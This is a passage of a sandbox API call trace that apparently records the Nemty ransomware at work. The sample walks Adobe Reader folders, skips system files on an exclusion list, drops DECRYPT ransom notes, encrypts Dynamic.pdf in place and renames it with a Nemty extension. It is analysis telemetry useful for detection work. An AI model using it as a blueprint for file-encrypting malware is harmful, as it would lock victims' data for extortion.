[0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404a8 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.034] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e16d70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24e16d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24e16d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0190.034] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0190.034] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="TUR", cAlternateFileName="")) returned 1 [0190.034] lstrcmpiW (lpString1="TUR", lpString2=".") returned 1 [0190.034] lstrcmpiW (lpString1="TUR", lpString2="..") returned 1 [0190.034] lstrcmpiW (lpString1="TUR", lpString2="...") returned 1 [0190.034] lstrcmpiW (lpString1="TUR", lpString2="windows") returned -1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="$RECYCLE.BIN") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="rsa") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="NTDETECT.COM") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="ntldr") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="MSDOS.SYS") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="IO.SYS") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="boot.ini") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="boot.ini") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="AUTOEXEC.BAT") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="ntuser.dat") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="desktop.ini") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="CONFIG.SYS") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="RECYCLER") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="BOOTSECT.BAK") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="bootmgr") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="programdata") returned 1 [0190.035] lstrcmpiW (lpString1="TUR", lpString2="appdata") returned 1 [0190.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0190.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TUR", lpUsedDefaultChar=0x0) returned 3 [0190.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0190.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TUR", lpUsedDefaultChar=0x0) returned 3 [0190.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0190.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0190.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0190.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0190.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0190.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0190.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0190.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0190.038] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.038] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0190.039] CloseHandle (hObject=0x2f0) returned 1 [0190.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0190.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0190.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0190.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0190.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0190.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0190.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.040] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.040] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0190.041] CloseHandle (hObject=0x2f0) returned 1 [0190.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0190.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0190.042] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24eaf2f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24eaf2f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0190.042] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0190.042] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24eaf2f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24eaf2f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0190.042] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0190.042] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0190.042] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0190.042] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0190.043] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0190.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0190.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0190.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.043] Sleep (dwMilliseconds=0x5) [0190.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24ed5450, dwHighDateTime=0x1d561e8)) [0190.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24ed5450, dwHighDateTime=0x1d561e8)) [0190.053] GetLastError () returned 0xb7 [0190.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.053] GetLastError () returned 0xb7 [0190.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.053] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.053] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="yAd0kpQsylctsgNCQmWbgZWxk6ShAkH15CqGPUyGizu217Cv1fAVZEznn3GxcYNh\r\nOefitbEg1AgEZTWtrBKsUpXkqnfba+DuNphKM+1Z/AOleqlx0+z/Y7XJjijdVr6j\r\ntBlfjH6F5u4yqfPEat4IxR+I/AW0xinhbfUgObTDHNj858tSXrSTgdOSnW4GLXC+\r\nE9P6ET6UacucJC37U6FcBq6Noo8pH1MdALDj0LZuphQQzBJFjY/PW1wogC1CCoA1\r\nwYs5XlAYSxwvIB5Hd9x/2ZGSpCfxs1an88ljm79EQVRn3eEvtZZGawDOch9vqaAf\r\neYDhGn+7wL8Sq0r1bhYJRQ==\r\n", pcchString=0x653df5c) returned 1 [0190.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.057] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=57980) returned 1 [0190.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe270) returned 0x6352c48 [0190.057] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.057] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xe270, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xe270, lpOverlapped=0x0) returned 1 [0190.062] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.062] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xe270, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xe270, lpOverlapped=0x0) returned 1 [0190.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.063] SetFilePointer (in: hFile=0x320, lDistanceToMove=57980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe27c [0190.063] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.063] CloseHandle (hObject=0x320) returned 1 [0190.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0190.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0190.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.063] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.064] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 